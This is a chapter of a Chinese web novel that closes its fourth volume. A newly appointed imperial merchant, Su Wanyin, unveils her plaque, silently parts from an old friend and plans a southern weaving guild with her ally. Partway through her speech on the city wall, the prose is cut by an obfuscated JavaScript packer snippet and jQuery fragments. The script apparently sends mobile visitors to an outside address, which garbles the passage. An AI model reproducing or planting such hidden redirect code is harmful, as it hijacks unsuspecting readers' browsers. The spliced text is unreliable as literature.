五月二十,小满。
京城的天气,总是透着股刻意的、不怀好意的乖张。明明已是初夏时节,昨夜却毫无征兆地刮起一阵鬼哭狼嚎的妖风,到了今晨,铅灰色的云层低垂,竟纷纷扬扬地飘起了漫天大雪。
雪花细密,却干燥冷硬,落在尚未完全回暖的土地上,积起薄薄一层,将前门大街往日里车水马龙、尘土飞扬的喧嚣,覆上了一层诡异而静谧的惨白。这“六月飞霜”般的异象,若在往常,定会被那些忧心忡忡的言官们抓住,引经据典,上书直谏,说是“天有冤情,阴阳失调”。可今日,这条帝国第一繁华的长街之上,却只有震耳欲聋、连绵不绝的鞭炮炸响,和那一片片被故意厚厚铺在残雪之上、刺目猩红的鞭炮纸屑,硬生生将这股天地间的凄清寒意,烘托出一种烈火烹油、鲜花着锦般的、近乎荒诞的热闹与喧嚣。
原本属于北织造局名下、前门大街上最显眼的一间三层金角铺面,如今早已改换门庭,焕然一新。
朱红的立柱被擦拭得锃亮如镜,仿佛能滴下血来。门口两座威武的石狮子,脖子上系着硕大无比、绸面光滑的红绸花,在夹杂着雪粒的寒风中猎猎舞动,像两团燃烧的火焰。铺面上下,张灯结彩,披红挂绿,数十名衣着簇新的伙计精神抖擞地侍立两旁,脸上挂着训练有素、恰到好处的喜庆笑容。
此刻,吉时已到。
随着一阵密集到令人头皮发麻的鞭炮炸响达到顶峰,两名早已等候在侧的壮汉,手持裹着红绸的长杆,同时发力,挑落了正门上方那块巨大无比、覆盖着的猩红丝绒帷幕。
“哗——!”
红绸落地,一片沉凝厚重、却又耀眼夺目的金光,刺破了飞舞的雪絮与薄雾,赫然显现!
那是一块足有丈许长、通体用极品金丝楠木打造的巨匾。木料本身油润的暗金色泽,在雪光与灯火的映照下,流转着低调而华贵的光晕。匾额四周,以浮雕手法,精心雕刻着九龙戏珠的图案,九条龙形态各异,栩栩如生,鳞爪飞扬,透着一股皇家独有的、不容侵犯的威仪。
而正中央,则是四个御笔亲书、笔力遒劲、墨色如漆的斗大金字——
“苏氏皇商”。
那字迹,沉稳雄浑,力透木背,每一个笔画都仿佛蕴含着雷霆万钧的帝王意志,仅仅是看着,便让人心生敬畏,不敢直视。
“好!好啊!”
“了不得!了不得!这可是御笔!真正的御笔亲题!”
“以后这就是御用的铺子了!咱们也能沾沾皇家的福气!”
“听说苏家的锦能变出星星月亮,咱们买不起贡品,买把‘月影纱’的扇子沾沾喜气也是好的!”
围观的百姓爆发出山呼海啸般的喝彩与惊叹,人群汹涌,挤得水泄不通,每个人脸上都洋溢着一种与有荣焉的兴奋与好奇。
阿福站在高高的梯子上,手里还攥着刚才挑红绸的长杆尾端,激动得浑身都在哆嗦,脸上的笑容怎么也收不住,眼泪混着飘落的雪花往下淌,也顾不得擦。他猛地回过头,看向站在台阶下、被无数道或羡慕或嫉妒或探究目光簇拥着的苏晚音,用尽全身力气,扯着嗓子大声喊道,声音都变了调:
“掌案!您看!咱们苏家的招牌!真的……真的挂在这四九城最金贵的地界了!咱们……咱们做到了!娘!您在天上看见了吗?!”
苏晚音仰起头,静静地、近乎漠然地看着那块在风雪中巍然不动的金匾。
雪花落在她长长的睫毛上,迅速融化,化作一点冰凉的水渍,又顺着眼角滑落,带来一阵微不可察却真实存在的刺痛。
她今日穿了一身极其正式、完全符合内务府新颁“皇商”规制的玄色织金礼服。厚重的玄色缎料,在雪光下泛着沉凝如夜的光泽;以缂丝工艺织就的暗金色云纹,从肩头蔓延至衣摆,繁复而庄重,在行动间隐约流动,彰显着无可置疑的身份与荣耀。这身衣裳穿在她身上,合体,威严,却也沉甸甸的,仿佛不是衣料,而是一副无形的、华美的枷锁,压得她有些喘不过气。
她没有像阿福那样欣喜若狂,甚至没有流露出半分应有的激动。反而觉得胸口像是被一块浸透了冰水的巨石死死压住,连呼吸都变得有些艰难而滞涩。
“挂正了吗?”她问,声音平静得听不出一丝波澜,仿佛那悬挂起来的,不是足以光宗耀祖、改变家族命运的御赐金匾,而只是一块寻常的、需要检查是否端正的木牌。
“正!正得不能再正了!”阿福挥舞着手臂,声音因激动而嘶哑,“比当年北织局挂那块破牌子的时候,正十倍!稳百倍!”
“正就好。”苏晚音轻声道,拢在宽大袖中的手指,无意识地、反复地摩挲着一枚冰凉坚硬的羊脂玉扳指——那是内务府昨日连同“皇商”文书一同送来的“信物”之一。
她微微垂眸,看着脚下被踩得泥泞不堪的红纸与残雪,声音低得只有自己能听见:
“只要匾是正的,哪怕……底下的梁是歪的,是朽的,是爬满了蛀虫的……也能,勉强撑上几年。”
身旁的谢无咎侧过头,看了她一眼。
他今日也换上了一身符合新身份的墨色锦缎常服,外罩一件没有任何纹饰的玄色鹤氅,衬得他身形愈发挺拔修长,气质愈发深沉内敛。他没有看那块引得万人空巷的金匾,目光落在苏晚音那张在风雪与金光映衬下、显得格外苍白沉静的侧脸上。
他知道她在说什么——这块金匾的背后,是冯保那张贪婪无度、永远喂不饱的大嘴,是那被生生抽走的三成纯利,是不得不将“月影纱”这块安身立命的根本也分出一杯羹的妥协,是未来无数个日夜需要与那头饕餮虚与委蛇、周旋算计的肮脏与疲惫。
“梁歪了,朽了,爬满了虫子……”谢无咎低声道,声音只有两人能闻,却清晰而有力,“我们可以换。可以加固。可以……一把火烧了,用更好的料子,重新起一座。”
他微微侧身,替她挡住侧面吹来的、夹杂着雪粒的寒风,目光坚定而深邃地看着她:
“只要根还在江南,只要织机还在转动,只要执梭的手……还是热的。”
苏晚音转过头,对他微微笑了一下。那笑容很淡,有些苦涩,却也带着一丝尘埃落定后的释然与清醒。
就在这时,人群外缘,靠近街角那棵落满了雪的百年老槐树下,传来一阵极轻微的骚动。
几个穿着朴素却干净利落的家丁模样的人,沉默而有效地分开人群。一顶并不起眼、甚至有些陈旧的青呢小轿,无声无息地停在了槐树下。
轿帘被一只修长、骨节分明、带着书卷气的手,轻轻掀开。
一个身穿半旧青灰色直裰、头戴寻常方巾的男子,弯腰走了出来。
他身形颀长消瘦,面色因连日奔波或心绪消耗而显得有些憔悴苍白,但那一身洗尽铅华、返璞归真的书卷清气,却在这漫天风雪与周遭的喧嚣浮华中,显得格格不入,又格外清贵夺目。
是齐衡。
他没有走过来,没有像往日那般,隔着人群便含笑唤她一声“晚音妹妹”。他甚至没有刻意看向那块金光夺目的匾额。
他只是远远地,站在人群之外,那片被老槐树枯枝分割得支离破碎的雪地上,隔着鼎沸的人声、飘舞的雪絮、以及那道无形的、已然划开的鸿沟,静静地、深深地,望着匾额下那个一身玄衣、被无数目光与期待包裹着的女子。
那目光很深,很远,像隔着千山万水,像隔着再也无法回溯的时光河流。
苏晚音心头猛地一颤,一股难以言喻的酸涩与悸动瞬间涌上喉头。她几乎是下意识地提步,想要穿过人群走过去,嘴唇微张,那声压在心底许久的“齐衡哥哥”几乎就要脱口而出。
然而——
却见齐衡,极其轻微,却无比坚定地,摇了摇头。
他抬起手,动作缓慢而郑重,遥遥地,朝着她的方向,拱了拱手。
那是一个标准的、士大夫之间的平辈拱手礼。恭敬,周全,却也带着一种刻意拉开的、令人心碎的疏离与决绝。
那眼神里,有欣慰——欣慰她终于破局而出,翱翔九天;有失落——失落她羽翼已丰,不再需要他这方看似牢固、实则脆弱的屋檐庇护;更有一种无法言说、也不必言说的了然与放手。
他曾是她的“齐衡哥哥”,想用那一身渐渐染上风霜的官袍,为她在这吃人的京城,撑起一片小小的、干净的晴空。
而如今,她已是名动京华、手握御赐金匾、身边站着那个能为她断指、陪她赌命、更适合这修罗场规则的苏掌案。
京城的官场与商场,终究是两条道。一条向左,清流孤直,道阻且长;一条向右,浊浪滔天,富贵险中求。
相交,已是奢望;并行,更是幻梦。
此时相认,只会给即将远赴西北苦寒之地的他,徒增不必要的牵挂与软肋;也会给刚刚立足、看似风光无限却暗藏杀机的她,带来难以预料的流言与祸端。
不如,就此别过。
相忘于江湖。
苏晚音的脚步,生生顿住,像是被钉在了原地。眼眶骤然滚烫发热,视线瞬间变得模糊,那片金光、白雪、红绸、人影,都氤氲成了一片晃动的、不真实的光晕。
她明白了。
于是,她没有再往前走。
她站在那象征着无上荣耀与无尽纷扰的金匾之下,郑重地整理了一下本已十分平整的衣冠,然后,朝着那个风雪中的、孤独的身影,朝着那个方向,朝着那段再也回不去的旧日时光——
深深地、深深地,福了下去。
这一拜,拜别过往,拜别青梅竹马,拜别那个曾经只能躲在人后、依靠旁人庇护才能存活的自己。
风雪更疾。
齐衡深深地、近乎贪婪地,看了她最后一眼,仿佛要将这一幕,连同这风雪、这金匾、她这郑重的一礼,都刻进骨血,带入那遥远的、风沙弥漫的西北。随后,他毅然转身,弯腰,钻进那顶不起眼的青呢小轿,再无半分留恋。
“起轿——”
轿夫一声低沉的吆喝,小轿稳稳抬起,很快便消失在了长街尽头灰白交织的雪幕与屋宇之间,像是一滴水汇入了大海,再无痕迹可寻。
“他是个好官。”谢无咎站在她身后,替她挡住了大部分风雪,声音平静,“可惜,这京城……水太浑,太深。好官……难做,更难长久。”
“所以他走了。”苏晚音直起身,望着那空荡荡的街角,声音很轻,带着一丝不易察觉的怅惘与释然,“听说是自请外放,去了西北。那里苦,风沙大,边患不断……但胜在,干净。天地干净,人心……或许也能干净些。”
“我们也该走了。”谢无咎收回目光,望向南方,那是运河的方向,是家的方向,“冯保的契书已经签了,京城的铺子,有阿福和那几个从江南带来的老伙计盯着,短期内出不了大乱子。霍天北经此一役,元气大伤,明面上不敢再使坏。苏州那边……积压的事务,族中的期盼,还有……”
他顿了顿,看向她:
“我们自己的根,我们真正的战场,在那里。”
苏晚音点了点头,深吸了一口冰冷而带着硝烟与尘雪味道的空气,将那最后一丝酸涩与飘摇,彻底压回心底深处。
“走吧。”她转过身,不再看那金匾,也不再看那长街,“回苏州。”
……
黄昏时分,永定门外。
雪不知何时已经停了,但天色依旧阴沉得厉害,铅灰色的云层低垂,仿佛随时会再次压下。风却小了许多,带着劫后余生般的疲惫与冷清。
苏家的车队,已经整装待发。这一次回程,比来时多了整整十辆满载的大车。车上不仅装着皇帝、太后赏赐的金银绸缎、古玩珍器,更重要的,是那一纸盖着玉玺、墨迹未干的“皇商”特许文书,以及内务府核准的、未来数年宫廷供奉的份额与章程。每辆车上都插着崭新的、绣着“苏”字与龙纹的旗号,在这灰暗压抑的天地间,显得格外鲜亮,也格外……扎眼。
城楼上,暮鼓敲响。
“咚——”
“咚——”
“咚——”
沉闷、厚重、仿佛带着千年时光尘埃的鼓声,一声接着一声,缓慢而固执地回荡在空旷的城门内外、苍茫的天地之间。这便是京城的“天音”,是报时,是警示,是规则,提醒着人们这一日的落幕,也预示着日复一日、年复一年的、无法挣脱的轮回与宿命。
苏晚音没有立刻登车。
她示意车队稍候,自己却沿着城墙内侧、仅供守军使用的狭窄马道,一步一步,缓缓登上了高高的、寒风凛冽的城楼。
风,瞬间变得狂野而粗暴,毫无遮挡地呼啸而来,吹得她身上厚重的玄色礼服猎猎作响,衣袂翻飞,仿佛一只欲挣脱枷锁、振翅高飞的玄鸟。
站在这里,可以俯瞰整个庞大的、如同巨兽般匍匐在华北平原上的帝都。
远处,紫禁城的金瓦红墙在暮色中只剩下一片模糊而威严的轮廓,像一座巨大的、冰冷的、吞噬了无数野心与枯骨的黄金牢笼;近处,棋盘般纵横的街巷里,灯火次第亮起,星星点点,汇成一片人间烟火的海洋,温暖,喧嚣,却也藏着无数见不得光的交易、算计与悲欢。
运河码头方向,隐约还能听到船工的号子与卸货的声响,那是这座帝国永不停歇的财富与欲望的脉搏。
“在想什么?”
谢无咎走到她身侧,与她并肩而立,同样望着这片他们刚刚经历了一场惊心动魄的生死搏杀、如今即将离开的土地。
“在想……我娘。”苏晚音扶着冰冷粗糙、布满岁月风霜刻痕的城砖,指尖传来的寒意直透心底。她的目光有些迷离,仿佛穿透了时空,“娘留下的织造札记里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17032928|194563||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,最后一页,只有一句话,墨迹很淡,像是耗尽了她最后的心力。”
她顿了顿,声音在风里有些飘忽:
“‘锦成之日,亦是局开之时。勿喜,勿悲,唯持心而已。’”
她转过头,看向谢无咎,眼中闪烁着一种复杂而明亮的光芒:
“我以前不懂。以为只要织出了天下无双的锦,就能破开所有的局,就能得到自由,就能……告慰我娘的在天之灵。”
她自嘲地笑了笑,那笑容里有苦涩,也有彻悟后的清醒:
“可现在我才明白,我娘说的‘局’,从来就不在锦上,不在技艺的高低,甚至不在对手的强弱。”
“在人心。在规则。在这天下熙熙皆为利来,天下攘攘皆为利往的无形大网里。”谢无咎接道,声音低沉,带着洞悉世情的冷静。
“是啊,在人心,在规则。”苏晚音收回目光,重新投向脚下这座庞大而森严的城市,“霍天北输了,是因为他太贪,失了‘匠’心,以为靠权势与阴谋就能压垮一切;冯保‘赢’了(暂时),是因为他更懂‘人心’,更精通‘规则’,知道怎么用利益和恐惧编织绳索,捆住一切对他有用的人和物。我们夹在中间……”
她深吸一口凛冽的寒气:
“既要守住那份‘匠’心与‘魂’,不让技艺蒙尘;又要喂饱那些贪婪的‘人心’,周旋于肮脏的‘规则’;还要时刻警惕,自己不要被这无边的欲望与算计吞噬,变成和他们一样的人。”
她的声音里,带着一丝沉重的疲惫:
“无咎,这‘皇商’的牌子……太沉了。沉得我有些……喘不过气。这条路,比我想象的,还要难走,还要……脏。”
谢无咎伸出手,握住了她扶在城砖上、被寒风吹得冰凉刺骨的手。
这一次,他没有用任何理由,没有任何铺垫。
只是紧紧地、不容置疑地握住。
“难走,是因为我们在往上走。”他的声音,在呼啸的风中,显得格外清晰,也格外有力,“下坡路才好走,闭着眼睛都能滚下去。但那尽头,是悬崖,是死路。”
他指着脚下这苍茫大地,指着那条向南方延伸、在暮色中宛如一条灰色缎带的、已经开始解冻、泛着幽幽波光的运河:
“你看。”
他的声音带着一种引导般的、令人信服的力量:
“三年前,我们在苏州,是什么光景?李氏嫡母可以随意打骂克扣,同行可以肆意挤压排挤,我们连自家的染坊都快保不住,看人脸色,仰人鼻息。”
他微微一顿,目光变得锐利而充满豪情:
“而如今,我们站在这里——站在京城的城墙之上,脚下是帝国的中心!手里握着皇帝御笔亲题的金匾,身后是太后的赏识!连内务府总管太监,都要跟我们讨价还价,分一杯羹!”
他转过头,深深地看着她,那目光中,有毫不掩饰的赞赏,有并肩作战的信任,更有一种将她视为完全平等的、甚至需要仰望的伙伴的郑重:
“苏晚音,你不再是那个需要看嫡母脸色、担心明日饭食的小庶女了。”
他一字一句,清晰地说道:
“你是制定规则的人。”
“制定规则……”苏晚音喃喃地重复着这四个字,眼中那因疲惫与迷茫而起的雾气,渐渐被一种前所未有的、灼热的光芒所取代。
“对。”谢无咎眼中闪烁着一种被这场京华烟云彻底激发出来的、属于雄主的野心与光芒,“冯保要钱,我们就给他钱,暂时喂饱他。但他要的,不仅仅是钱,更是名,是势,是长久的利益捆绑。我们何不……反过来,利用好这‘皇商’的名头与势头?”
他指着南方,声音里带着一种规划江山的笃定:
“回苏州后,我要做的第一件事,就是联合江南所有有实力的丝商、织户、染坊,筹建‘江南织造总行’!”
他看向苏晚音,眼神专注而炽热,声音低沉有力,带着不容置疑的决断:
“你,做总行的总掌案。不再只是苏家的掌案,而是天下锦绣的掌案!定品质,立标准,掌调配,决兴衰!”
他微微一顿,目光变得深沉而温柔,却又带着一种献祭般的忠诚与决绝:
“我做你的……刀。”
“刀?”苏晚音心头巨震。
“对。”谢无咎点头,语气平静,却字字千钧,“为你斩断荆棘,扫清障碍。凡是你不想沾的血,我来沾;凡是你下不了的狠手,我来下;凡是你需要去谈判、去威慑、去周旋的险地与恶人,我来去,我来面对。”
苏晚音怔怔地看着他。
看着他眼底那份毫无保留的信任、毫无条件的支持,以及那份早已超越了盟友、伙伴,甚至超越了寻常男女情爱的、更深沉、更牢固、近乎于命运共同体般的深情与期许。
在这个男人眼中,她不是附属品,不是需要被呵护在羽翼下的花朵,而是可以与他并肩立于云端,甚至引领方向、执掌乾坤的——王。
那一刻,心中所有的迷茫、恐惧、疲惫与对前路的艰险的担忧,都在这份毫无保留的信任与托付面前,烟消云散。
取而代之的,是一股熊熊燃烧的、足以燎原的烈火,一股掌控自身命运、进而影响天下格局的雄心与霸气!
“好。”
苏晚音反手,紧紧地握住了他的手。十指相扣,用力到指节发白,仿佛要将彼此的力量、信念与命运,彻底熔铸在一起。
她的眼中,燃起了熊熊的、仿佛能烧穿一切阴霾的斗志。
“那我们就回去。”
她的声音,在暮鼓的余韵与呼啸的寒风中,清晰、冰冷,却又带着一种开创天地的炽热:
“把这天下的生意,做给天下人看。”
她微微扬起下巴,目光锐利如刀,仿佛已穿透重重迷雾,看到了未来的蓝图:
“我要让这江南的锦,不再仅仅是任人挑选、定价的‘贡品’,而是——”
她一字一顿,如同立下誓言:
“天下的权柄!”
她转过身,最后看了一眼那座在暮色中愈发显得沉默、威严而遥远的皇城,仿佛在向那个充满了屈辱、挣扎、算计,但也获得了荣耀与起点的过去告别。
雪,彻底停了。
云层裂隙,漏下一抹残阳,将两人的影子拉得极长,一直拖向南边。
“启程——!”阿福的嗓子喊劈了音。
车轮碾碎了永定门前的残雪,发出吱嘎轻响。
马车晃晃悠悠,碾碎了地上的残雪。
苏晚音靠着软垫,闭上了眼。京城的暮鼓声远了,沉闷得像压在心口的石头终于落地。半梦半醒间,耳边似乎换了个动静。咔哒,咔哒。是梭子穿过经纬的声音。
江南,近了。
(第四卷·京华·天阙织云完)